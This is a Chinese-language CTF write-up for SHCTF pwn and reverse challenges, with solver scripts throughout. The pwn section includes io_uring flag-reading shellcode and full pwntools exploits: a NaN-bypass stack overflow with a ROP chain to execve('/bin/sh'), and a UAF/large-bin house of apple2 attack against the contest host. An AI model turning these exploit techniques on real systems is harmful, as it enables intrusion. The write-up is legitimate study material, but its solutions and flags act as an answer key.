sqes[0].addr = (unsigned long)path;
sqes[0].open_flags = 0;
sqes[0].flags = 0;

// [Task 1-3] Read FD 3, 4, 5
for(int i=0; i<3; i++) {
sqes[i+1].opcode = 22; // READ
sqes[i+1].fd = 3 + i; // 尝试 3, 4, 5
sqes[i+1].addr = (unsigned long)(sq_ptr + 0x900); // 读到同一个 buffer
sqes[i+1].len = 0x100;
sqes[i+1].flags = 0;
}

// 提交第一波 (Open + Reads)
for(int i=0; i<4; i++) sq_array[i] = i;
*(volatile unsigned int *)sq_tail = 4;
syscall6(426, ring_fd, 4, 1, 0, 0, 0);

// 中场休息:确保 Read 完成

for(int i=0; i<0x10000; i++) __asm__("nop");

// 第二波:Write
sqes[0].opcode = 23; // WRITE
sqes[0].fd = 1; // STDOUT
sqes[0].addr = (unsigned long)(sq_ptr + 0x900);
sqes[0].len = 0x100;
sqes[0].flags = 0;

// 提交第二波
sq_array[0] = 0; // 只提交这一个任务
// 注意:tail 需要累加,但为了简单,我们重新计算 tail 位置
// 实际上 tail 是递增的,所以我们得用新的 tail
unsigned int tail_idx = *sq_tail;
sq_array[tail_idx & 7] = 0;
*(volatile unsigned int *)sq_tail = tail_idx + 1;

syscall6(426, ring_fd, 1, 1, 0, 0, 0);

while(1) {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <sys/mman.h>
#include <fcntl.h>

static inline __attribute__((always_inline)) long syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6) {
long ret;
__asm__ volatile (
"movq %1, %%rax\n\t" "movq %2, %%rdi\n\t" "movq %3, %%rsi\n\t"
"movq %4, %%rdx\n\t" "movq %5, %%r10\n\t" "movq %6, %%r8\n\t"
"movq %7, %%r9\n\t" "syscall\n\t" "movq %%rax, %0"
: "=r" (ret) : "g" (n), "g" (a1), "g" (a2), "g" (a3), "g" (a4), "g" (a5), "g" (a6)
: "rax", "rdi", "rsi", "rdx", "r10", "r8", "r9", "rcx", "r11", "memory"
);
return ret;
}

void _start() {
// 1. 初始化
struct io_uring_params p;
for (int i = 0; i < sizeof(p)/8; i++) ((long*)&p)[i] = 0;

int ring_fd = syscall6(425, 8, (long)&p, 0, 0, 0, 0);
unsigned char *sq_ptr = (unsigned char *)syscall6(9, 0, 0x1000, 3, 1, ring_fd, 0);
struct io_uring_sqe *sqes = (struct io_uring_sqe *)syscall6(9, 0, 0x1000, 3, 1, ring_fd, 0x10000000);

unsigned int *sq_tail = (unsigned int *)(sq_ptr + p.sq_off.tail);
unsigned int *sq_array = (unsigned int *)(sq_ptr + p.sq_off.array);

// ==========================================
// 第一步:Open /flag (阻塞等待)
// ==========================================
// 路径放在 0x800 (安全)
char *path = (char *)(sq_ptr + 0x800);
*(unsigned long long *)path = 0x67616c662f; // "/flag"

sqes[0].opcode = 18; // OPENAT
sqes[0].fd = -100;
sqes[0].addr = (unsigned long)path;
sqes[0].open_flags = 0;
sqes[0].flags = 0;

sq_array[0] = 0;
*(volatile unsigned int *)sq_tail = 1;
// 等待 1 个任务完成
syscall6(426, ring_fd, 1, 1, 0, 0, 0);

// ==========================================
// 第二步:Read FD 3, 4, 5 (阻塞等待)
// ==========================================
// 【修正】地址改回 0x900 (在 0x1000 范围内)
// FD 3 -> 0x900
// FD 4 -> 0xA00
// FD 5 -> 0xB00

for(int i=0; i<3; i++) {
sqes[i].opcode = 22; // READ
sqes[i].fd = 3 + i;
sqes[i].addr = (unsigned long)(sq_ptr + 0x900 + (i * 0x100)); // 修正回 0x900
sqes[i].len = 0x100;
sqes[i].flags = 0;
sq_array[i] = i;
}

// 重新提交 3 个
unsigned int current_tail = *sq_tail;
for(int i=0; i<3; i++) sq_array[(current_tail + i) & 7] = i;
*(volatile unsigned int *)sq_tail = current_tail + 3;

// 等待 3 个任务完成
syscall6(426, ring_fd, 3, 3, 0, 0, 0);

// ==========================================
// 第三步:Write (输出结果)
// ==========================================
sqes[0].opcode = 23; // WRITE
sqes[0].fd = 1; // STDOUT
sqes[0].addr = (unsigned long)(sq_ptr + 0x900); // 从 0x900 开始打印
sqes[0].len = 0x300; // 打印 3 个 block
sqes[0].flags = 0;

current_tail = *sq_tail;
sq_array[current_tail & 7] = 0;
*(volatile unsigned int *)sq_tail = current_tail + 1;

// 等待 1 个任务完成
syscall6(426, ring_fd, 1, 1, 0, 0, 0);

while(1) {}
}

Earth_Online

提示IEEE754浮点数规则,那么这题大概率就是跟浮点数转换或者类型转换错误导致的溢出有关了。看保护大概率就是有溢出了,ida里找溢出点

main函数分析一下可以在emergency_relief函数中构造一个NAN( IEEE754 浮点数标准中的一个特殊值),”Not a Number”的缩写,一般是由0.0 / 0.0 这种非法运算产生的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int n4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
seed = time(0);
srand(seed);
puts("Welcome to Earth Online!!!");
puts("You will get 10.0$ to live.");
puts("You need to earn money and buy food everyday.");
puts("You need to eat at least 0.5 kg of food every 3 days.");
puts("Emergency relief food available when starving (price depends on your wealth).");
puts(aReliefPriceFor);
puts("Have fun!!!\n");
while ( 1 )
{
menu();
__isoc99_scanf("%d", &n4);
getchar();
if ( n4 == 4 )
{
puts("Thanks for playing!");
exit(0);
}
if ( n4 > 4 )
break;
switch ( n4 )
{
case 3:
buy_house();
break;
case 1:
supermarket();
break;
case 2:
work();
break;
default:
goto LABEL_12;
}
LABEL_13:
if ( !(++day % 3) )
{
printf("\n=== Day %d Summary ===\n", day);
puts("3 days have passed. You need to consume 0.5 kg of food.");
if ( *(double *)&food < 0.5 )
{
printf(&format_, *(double *)&food);
puts(&s_);
emergency_relief();
if ( *(double *)&food < 0.5 )
{
puts(&s__0);
puts(&s__1);
exit(0);
}
*(double *)&food = *(double *)&food - 0.5;
puts(&s__2);
printf(&format__0, *(double *)&food);
}
else
{
*(double *)&food = *(double *)&food - 0.5;
puts(&s__3);
printf(&format__0, *(double *)&food);
}
puts(&s__4);
}
}
LABEL_12:
puts("Invalid choice!");
goto LABEL_13;
}

分析一下就是价格与数量大致是:

  • price = money / 2
  • buy_all_amount = money / price

money == 0 时:

  • price = 0 / 2 = 0
  • buy_all_amount = 0 / 0 = NaN

即通过正常流程制造出 NaN(不异常退出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int emergency_relief()
{
double v1; // [rsp+0h] [rbp-30h] BYREF
int n3; // [rsp+Ch] [rbp-24h] BYREF
double v3; // [rsp+10h] [rbp-20h]
double v4; // [rsp+18h] [rbp-18h]
double v5; // [rsp+20h] [rbp-10h]
double v6; // [rsp+28h] [rbp-8h]

puts(asc_4030B8);
puts("You don't have enough food! Special relief food is available.");
puts("Warning: Relief food price increases with your wealth!");
v5 = 1.0;
v6 = *(double *)&money / 2.0 * 1.0;
if ( v6 > 5.0 )
v6 = 5.0;
puts("\n=== Relief Food Market ===");
printf("Normal supermarket price: $%.1f/kg\n", v5);
printf("Your current money: $%.1f\n", *(double *)&money);
printf(aReliefFoodPric, *(double *)&money, v6);
puts("Note: Richer players pay more! (Min: $0.0/kg, Max: $5.0/kg)\n");
while ( 1 )
{
while ( 1 )
{
puts("1.> Buy relief food");
puts("2.> Buy All (use all money to buy relief food)");
puts("3.> Refuse relief (GAME OVER)");
printf("Choice $");
__isoc99_scanf("%d", &n3);
getchar();
if ( n3 == 3 )
{
puts(asc_403450);
puts("GAME OVER!");
exit(0);
}
if ( n3 <= 3 )
break;
LABEL_16:
puts("Invalid choice!");
}
if ( n3 != 1 )
break;
printf("How much relief food do you want to buy? (kg) $");
__isoc99_scanf("%lf", &v1);
getchar();
if ( v1 > 0.0 )
{
v3 = v1 * v6;
if ( *(double *)&money >= v1 * v6 )
{
*(double *)&money = *(double *)&money - v3;
*(double *)&food = v1 + *(double *)&food;
printf(&format__9, v1, v6);
printf(&format__10, v3);
printf(&format__3, *(double *)&money);
return printf(&format__4, *(double *)&food);
}
printf(&format__11, v3, *(double *)&money);
puts("Consider using 'Buy All' option.");
}
else
{
puts("Invalid amount!");
}
}
if ( n3 != 2 )
goto LABEL_16;
v1 = *(double *)&money / v6;
v4 = *(double *)&money;
money = 0;
*(double *)&food = v1 + *(double *)&food;
printf(&format__12, v1, v6);
printf(&format__2, v4);
printf(&format__3, *(double *)&money);
return printf(&format__4, *(double *)&food);
}

程序中用很多comisd指令来判断钱够不够,双精度浮点数比较。

当比较的两个数中至少有一个是 NaN 时,比较结果就是 “unordered”(无序状态)。

这两个函数存在很多这样的判断,我们可以利用这个NaN绕过

  • buy_house 的购房资金检查
  • supermarket 的卖出判断

buy_house里明显的栈溢出,size可以控制,buf离rbp就0x50个字节,绕过前面的if判断就是ret2libc。绕判断就用前面的NaN去推进游戏进度

推游戏进度

  • 前 3 天都进超市后返回(不赚钱不买食物),触发第一次救济。
  • 第一次救济选 Buy All,把 money 变成 0
  • 继续若干天空过,触发下一次救济。
  • 第二次救济再选 Buy All,触发 0/0 => NaN,使 food = NaN
  • 进超市 Sell All,把 money 传播为 NaN

这里要用一次栈迁移,如果这里直接栈溢出回main的话,变量有点难控制。不一定能再次安全回这里,直接利用函数的leave和read的lea去吧栈放在bss上。在利用prinf泄露libc,然后在rop就行

这里注意下最后的rop链用io_stdout,下面是用0填充后,调试发现报错,原因是printf内部打印rbp-0x40的数据时候会访问附近的地址变量,这里需要设置一个合法的file指针值来保证prinf完整执行(又感觉多此一举了,其实吧add_rsp和stdout直接删了也能行,写wp的时候才注意到)

完整状态

这样的rop也行,不要stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process('./pwn')

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"

vm_entry = 0x40222D
vm_rbp = 0x406070
overflow_size = 0x400
add_rsp_8 = 0x401016
ret = 0x40101A


def choose(n):
p.sendlineafter(b"Choice $", str(n).encode())

def no_op_day():
choose(1)
choose(5)

def reach_money_zero_relief():
for _ in range(3):
no_op_day()
choose(2)

def reach_zero_div_zero_relief():
for _ in range(12):
no_op_day()
choose(2)

def make_money_nan():
choose(1)
choose(4)

def trigger_overflow(payload):
choose(3)
p.sendlineafter(b"Enter size $", str(overflow_size).encode())
p.sendafter(b"characters) $", payload)

reach_money_zero_relief()
reach_zero_div_zero_relief()
make_money_nan()

payload = flat([
b'A' * 0x50,
p64(vm_rbp),
p64(vm_entry)
])

trigger_overflow(payload)

p.recvuntil(b"(You can write up to ")
leak_raw = p.recvuntil(b" characters", drop=True)
printf_leak = int(leak_raw)
libc_base = printf_leak - libc.symbols['printf']

print(xilker(f"printf_leak --> {hex(printf_leak)}"))
print(xilker(f"libc_base --> {hex(libc_base)}"))

p.recvuntil(b") $")


libc.address = libc_base
rop = ROP(libc)

pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi_gadget = rop.find_gadget(['pop rsi', 'ret'])
pop_rsi = pop_rsi_gadget.address if pop_rsi_gadget else 0x40254B
execve = libc.symbols['execve']
io_stdout = libc.symbols['_IO_2_1_stdout_']

stage_base = 0x406020
sh_addr = stage_base + 0xB0
argv_addr = stage_base + 0xC0

payload = b'\x00' * 0x50
payload += p64(0x0) # rbp
payload += p64(add_rsp_8) # skip stdout
payload += p64(io_stdout) # stdout pointer
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(pop_rsi)
payload += p64(argv_addr)
payload += p64(ret) # alignment
payload += p64(execve)

payload = payload.ljust(0xB0, b'\x00')
payload += b'/bin/sh\x00'
payload += p64(sh_addr) # argv[0]
payload += p64(0) # argv[1] = NULL

# gdb.attach(p, f'b *{hex(pop_rdi)}')

p.send(payload.ljust(0x400, b'\x00'))

p.interactive()

Large Manager

给了uaf,直接泄露heap地址和libc地址

无堆溢出

large bin attack,申请出来IO_list_all打house of apple2链子

这题没有堆溢出,如果有堆溢出,可以打apple2的变体,fake_heap的上方伪造一个0x20的小堆,来修改IO的头部为sh; (两个空格)然后在ogg的位置写system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./power')
libc = ELF('./libc.so.6')
#p = process('./power')
p = remote('challenge.shc.tf', 31044)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


def cmd(idx):
p.sendlineafter(b'choice: ', str(idx).encode())


def add(size, idx, data):
cmd(1)
p.sendlineafter(b'size of the record: ', str(size).encode())
p.sendlineafter(b'index of the record: ', str(idx).encode())
p.sendafter(b'content of the record: ', data)


def show(idx):
cmd(2)
p.sendlineafter(b'index of the record: ', str(idx).encode())

def free(idx):
cmd(3)
p.sendlineafter(b'record: ', str(idx).encode())


def edit(idx, data):
cmd(4)
p.sendlineafter(b'index of the record: ', str(idx).encode())
p.sendafter(b'content of the record: ', data)

ogg = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f,0xebd43]
add(0x520, 0, 'a'*8)
add(0x510, 1, 'a'*8)
add(0x510, 2, 'a'*8)


free(0)
show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
add(0x550, 3, 'a'*8)
edit(0, b'a'*0x10)
show(0)
p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
log.success(xilker(f'heap_base-->{hex(heap_base)}'))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_stdfile_2_lock = libc_base + 0x21ca60
log.success(xilker(f'heap_base-->{hex(_IO_stdfile_2_lock)}'))
system_addr = libc_base + libc.sym['system']
target = libc_base + 0x21ace0 # main_arena + 86
log.success(xilker(f'IO-->{hex(target)}'))
free(2) # 用来伪造IO结构体
pay = p64(0) + p64(target) + p64(heap_base + 0x290) + p64(_IO_list_all-0x20)
edit(0, pay)
add(0x550, 4, 'a'*8)
heap_addr = heap_base + 0x290 + 0x520 + 0x530
log.success(xilker(f'IO_heap-->{hex(heap_addr )}'))

pay = b'\x00'
pay = pay.ljust(0x18, b'\x00') + p64(1)
pay = pay.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
pay = pay.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps) # 0xd8的位置vtable。指向 _IO_wfile_jumps 绕过 GLIBC 的虚函数表检查。
pay = pay.ljust(0xd0 + 0xe0, b'\x00') + p64(heap_addr + 0xe0 + 0xe8) # 0xd0是IO结构体大小,0xe0 指向刚才设置的 _wide_data 地址。
pay = pay.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(libc_base+ogg[0])# _IO_wide_data 结构体中,偏移 0xe0 处存放的是这个结构体自己的虚函数表指针(称之为 _wide_vtable),0x68 是 _IO_wfile_overflow 在虚函数表中的偏移。


edit(2, pay)
#gdb.attach(p)
cmd(5)
p.interactive()

Reverse部分

a_cup_of_tea

先输入然后进行一次加密

就是分两次使用key对指定的密文进行对比和加密。吧密文拿出来用key解一次就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import struct

MASK = 0xFFFFFFFF
DELTA = 0x9E3779B9

def key_words(s: bytes):
return list(struct.unpack("<4I", s)) # 小端4个uint32

def tea_dec(v0, v1, k):
k0, k1, k2, k3 = k
sumv = (DELTA * 32) & MASK
for _ in range(32):
v1 = (v1 - (((v0 + sumv) & MASK) ^ (((v0 << 4) + k2) & MASK) ^ (((v0 >> 5) + k3) & MASK))) & MASK
v0 = (v0 - (((v1 + sumv) & MASK) ^ (((v1 << 4) + k0) & MASK) ^ (((v1 >> 5) + k1) & MASK))) & MASK
sumv = (sumv - DELTA) & MASK
return v0, v1

k = key_words(b"welcome_to_SHCTF")

c1 = (0x9AB5D2E1, 0xBD37C059)
c2 = (0xA5A607AD, 0x946EB834)

p1 = tea_dec(*c1, k)
p2 = tea_dec(*c2, k)

pw = struct.pack("<4I", *(p1 + p2))
print(pw)
print(pw.decode("latin1"))

# SHCTF{W0w_u_kN0w_t3A!!}

Safe Image Encryption

拿到加密图片先获取图片像素尺寸,图片类型,使用xxd或者010来查看图片结构,然后吧图片转为RGBA模式

提示了key为1003长度,且PNG文件头固定为: 89 50 4E 47 0D 0A 1A 0A IHDR chunk的结构是已知的。先恢复密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
"""
=

from PIL import Image
import struct

def recover_key_from_png(encrypted_png_path):

img = Image.open(encrypted_png_path)
width, height = img.size
print(f"图片尺寸: {width}x{height}")

# 转换为RGBA模式
if img.mode != 'RGBA':
img = img.convert('RGBA')

pixels = img.load()

# 初始化密钥数组(1003字节)
key = bytearray(1003)
key_found = [False] * 1003

# PNG文件头(前8字节)
png_header = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])


print("尝试从alpha通道恢复密钥...")

assumed_alpha = 255

recovered_count = 0

for row in range(height):
for col in range(width):
i = 4 * (col + row * width)

# 获取加密的像素
encrypted_pixel = pixels[col, row]

key_idx = (i + 3) % 1003
if not key_found[key_idx]:
# 假设alpha是255
xor_result = encrypted_pixel[3] ^ assumed_alpha
key_byte = ((xor_result + 16) & 0xFF) ^ 0x55
key[key_idx] = key_byte
key_found[key_idx] = True
recovered_count += 1

print(f"从alpha通道恢复了 {recovered_count} 个密钥字节")
print(f"密钥覆盖率: {sum(key_found)}/1003 = {sum(key_found)/1003*100:.1f}%")

if sum(key_found) < 1003:
print("\n尝试从边缘像素恢复...")

return bytes(key), key_found

def save_key(key, filename):
"""保存密钥到文件"""
with open(filename, 'wb') as f:
f.write(key)
print(f"密钥已保存到: {filename}")

if __name__ == "__main__":
encrypted_png = "encrypt.png"

print("=" * 60)
print("PNG密钥恢复工具")
print("=" * 60)

key, key_found = recover_key_from_png(encrypted_png)

if sum(key_found) == 1003:
print("\n✓ 成功恢复完整密钥!")
save_key(key, "recovered_key.bin")
else:
print(f"\n⚠ 部分密钥恢复 ({sum(key_found)}/1003)")
save_key(key, "partial_key.bin")
print("\n提示:可能需要其他方法来恢复剩余的密钥字节")

加密公式

对于图片中位置为 (col, row) 的像素,其在数据中的索引为:

1
i = 4 * (col + row * width)

每个像素的4个通道使用不同的加密密钥:

R通道 (红色)

1
encrypted[0] = original[0] ^ (col*col + key[i%1003] + (key[i%1003] ^ 0xAA))

G通道 (绿色)

1
encrypted[1] = original[1] ^ (key[(i+1)%1003] ^ (col*row) ^ (3*key[i%1003]))

B通道 (蓝色)

1
encrypted[2] = original[2] ^ (row*row + ((2*key[(i+2)%1003]) ^ 0x66))

A通道 (透明度)

1
encrypted[3] = original[3] ^ ((key[(i+3)%1003] ^ 0x55) - 16)

3.2 密钥使用方式

  • 密钥以循环方式使用:key[i % 1003]
  • 每个像素使用4个连续的密钥字节
  • 密钥与像素位置(行列坐标)结合生成最终的加密密钥

PNG图片的alpha通常是255,我们可以利用这一点和异或的性质反推出密钥为:

1
2
3
The village of Hoori lies deep in the middle of the mountains, 
inaccessible by rail. Since there isn't much interaction with
its surroundings, the town seems like it is stuck in the past...

找到了密钥和加密算法就可以解密出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3


from PIL import Image
import struct

def decrypt_png(encrypted_path, key_path, output_path):

# 读取密钥文件
with open(key_path, 'rb') as f:
key = f.read()

key_len = len(key)
print(f"密钥长度: {key_len}")

if key_len != 1003:
print(f"警告: 密钥长度应该是1003,当前是{key_len}")

# 读取加密的PNG图片
img = Image.open(encrypted_path)
width, height = img.size
print(f"图片尺寸: {width}x{height}")

# 转换为RGBA模式(如果不是的话)
if img.mode != 'RGBA':
img = img.convert('RGBA')

# 获取像素数据
pixels = img.load()

# 创建新图片用于存储解密后的数据
decrypted_img = Image.new('RGBA', (width, height))
decrypted_pixels = decrypted_img.load()

# 解密每个像素
for row in range(height):
for col in range(width):
# 计算当前像素在数据中的索引
i = 4 * (col + row * width)

# 获取加密的像素值
encrypted_pixel = pixels[col, row]

# 计算密钥索引
k0 = key[i % key_len]
k1 = key[(i + 1) % key_len]
k2 = key[(i + 2) % key_len]
k3 = key[(i + 3) % key_len]

# 根据加密算法计算解密密钥
# encrypted[0] = original[0] ^ (col*col + key[i%1003] + (key[i%1003] ^ 0xAA))
xor_key_0 = (col * col + k0 + (k0 ^ 0xAA)) & 0xFF

# encrypted[1] = original[1] ^ (key[(i+1)%1003] ^ (col*row) ^ (3*key[i%1003]))
xor_key_1 = (k1 ^ (col * row) ^ (3 * k0)) & 0xFF

# encrypted[2] = original[2] ^ (row*row + ((2*key[(i+2)%1003]) ^ 0x66))
xor_key_2 = (row * row + ((2 * k2) ^ 0x66)) & 0xFF

# encrypted[3] = original[3] ^ ((key[(i+3)%1003] ^ 0x55) - 16)
xor_key_3 = ((k3 ^ 0x55) - 16) & 0xFF

# 解密像素
r = encrypted_pixel[0] ^ xor_key_0
g = encrypted_pixel[1] ^ xor_key_1
b = encrypted_pixel[2] ^ xor_key_2
a = encrypted_pixel[3] ^ xor_key_3

# 设置解密后的像素
decrypted_pixels[col, row] = (r, g, b, a)

# 显示进度
if (row + 1) % 100 == 0:
print(f"解密进度: {row + 1}/{height}")

# 保存解密后的图片
decrypted_img.save(output_path)
print(f"解密完成!已保存到: {output_path}")

if __name__ == "__main__":
import sys

if len(sys.argv) != 4:
print("用法: python decrypt.py <encrypted.png> <key_file> <decrypted.png>")
print("示例: python decrypt.py encrypt.png key.txt decrypted.png")
sys.exit(1)

encrypted_path = sys.argv[1]
key_path = sys.argv[2]
output_path = sys.argv[3]

decrypt_png(encrypted_path, key_path, output_path)


SHCTF{@lPh4_b1T_L3Ak_th3_kEy_bUt_Ci4ll0!!}

damagedPE

程序一开始是直接运行不了的,用010看文件结构,根据题目名猜测是对PE结构做了手脚

主要要看的

  • e_magic (0x00): 必须是 0x5A4D (“MZ”)
  • e_lfanew (0x3C): 指向PE头的偏移地址,通常是 0x800x100

PE文件结构表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────┐
│ DOS Header (64 bytes) │ ← MZ头,兼容DOS
├─────────────────────────────────┤
│ DOS Stub (可变长度) │ ← DOS存根程序
├─────────────────────────────────┤
│ PE Signature (4 bytes) │ ← "PE\0\0"
├─────────────────────────────────┤
│ COFF Header (20 bytes) │ ← 文件头
├─────────────────────────────────┤
│ Optional Header (224/240 bytes)│ ← 可选头
├─────────────────────────────────┤
│ Section Table │ ← 节表
├─────────────────────────────────┤
│ Section 1 (.text) │ ← 代码段
├─────────────────────────────────┤
│ Section 2 (.data) │ ← 数据段
├─────────────────────────────────┤
│ Section 3 (.rdata) │ ← 只读数据
├─────────────────────────────────┤
│ Section N (...) │ ← 其他段
└─────────────────────────────────┘

IAT表解释

Import Address Table (导入地址表) 是PE文件中用于存储外部函数地址的表。Windows程序需要调用系统API(如CreateFileAReadFile等),这些函数位于DLL中,IAT记录了这些函数的地址。

010打开观察

image-20260213105637832

吧SH改为PE即可正常运行程序。在 DOS Header 中这个位置的值对应e_lfanew,而他如果是PE\0\0证明文件完好,不是的话则会导致程序无法正常运行

image-20260213105828268

根据提示去找IAT导入表第二项

image-20260213110309745

1
SHCTF{pe_struct_h3ad3r_m4g1c_CreateFileA}

where are you

逻辑都在tls回调中。对real_func进行了异或初始化。可以动调直接构建函数去观察。找到final_key的位置,从内存中提出来key,然后rc4解密就行

找出密生成的密钥

tls回调,真正的逻辑在这里

加密函数是很明显的rc4了

1
0xEA,0x64,0x65,0x15,0xFF,0xA,0xAD,0x41,0x6F,0x81,0xA1,0x7B,0xA8,0xD0,0x5E,0x69,0x74,0x92,0x6A,0xE3,0xBD,0x6B,0x33,0x97,0x2D,0xC2,0xB5,0xFA,0xD0,0x8F,0x6D,0x3F,0xAD,0x0,0xD0,0x91
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

seed = b"MyS3cr3tS33d"
final_key = bytearray(16)

for i in range(16):
final_key[i] = (7 * i + (seed[i % 12] ^ 0xAA)) & 0xFF

# ===== 2. RC4 KSA =====
def rc4_ksa(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S


# ===== 3. RC4 PRGA =====
def rc4_crypt(data, key):
S = rc4_ksa(key)
i = j = 0
out = bytearray()

for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
out.append(byte ^ k)

return out


# ===== 4. 密文 =====
cipher = bytes([
0xEA,0x64,0x65,0x15,0xFF,0x0A,0xAD,0x41,0x6F,
0x81,0xA1,0x7B,0xA8,0xD0,0x5E,0x69,0x74,0x92,
0x6A,0xE3,0xBD,0x6B,0x33,0x97,0x2D,0xC2,0xB5,
0xFA,0xD0,0x8F,0x6D,0x3F,0xAD,0x00,0xD0,0x91
])


# ===== 5. 解密 =====
plain = rc4_crypt(cipher, final_key)
print("[+] flag:", plain.decode())

# SHCTF{you_found_me_and_TLS_callback}

LicenseVerifier

python的exe常见思路,exe->pyc->py

可以先简单反汇编一下,发现这里的逻辑是缺失的。但是我们可以获得一些信息来帮助我们分析。下面需要我们深入字节码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import os
import sys
import ctypes
import sys_core
BASE_DIR = os.path.dirname(__file__)
def _load_library(name: str) -> bool:
"""Attempts to load a DLL for environment setup."""
# ***<module>._load_library: Failure: Different control flow
path = os.path.join(BASE_DIR, name)
if not os.path.exists(path):
return False
else:
try:
lib = ctypes.WinDLL(path)
for init_func in ['init_vm', 'hook_init', 'init']:
if hasattr(lib, init_func):
pass
else:
try:
getattr(lib, init_func)()
except Exception:
pass
return True
except Exception:
return False
return True
def _check_decoy() -> None:
# irreducible cflow, using cdg fallback
"""Checks for decoy flags (CTF element)."""
# ***<module>._check_decoy: Failure: Compilation Error
path = os.path.join(BASE_DIR, 'decoy.dll')
if os.path.exists(path) is None:
try:
lib = ctypes.WinDLL(path)
f = lib.get_decoy_flag
except Exception:
pass
fake_flag_path = os.path.join(BASE_DIR, 'fake_flag.txt')
if os.path.exists(fake_flag_path) is None:
pass
with open(fake_flag_path, 'r', encoding='utf-8', errors='ignore') as f, print(f'Hint: {f.read() / f.read().strip()}'):
except Exception:
return None
def main():
"""Main entry point for the License Verifier."""
# ***<module>.main: Failure: Different control flow
print('License Verifier v1.0')
print('=====================')
_check_decoy()
if _load_library('hook.dll'):
print('[System] Hook library loaded.')
try:
license_key = input('Enter License Key: ').strip()
except EOFError:
return None
if sys_core.verify_license(license_key) and print('\n[Success] License Validated. Access Granted.'):
print('\n[Error] Invalid License Key.')
sys.exit(1)
if __name__ == '__main__':
main()

正常无法反编译,从字节码分析原因,先了解一下pyc文件结构

2. 文件结构详解

2.1 Python 3.3-3.6 格式

1
2
3
4
5
6
7
8
9
┌─────────────────────────────────────┐
│ Magic Number (4 bytes) │ 0x00-0x03
├─────────────────────────────────────┤
│ Timestamp (4 bytes) │ 0x04-0x07
├─────────────────────────────────────┤
│ Source Size (4 bytes, 3.3+) │ 0x08-0x0B
├─────────────────────────────────────┤
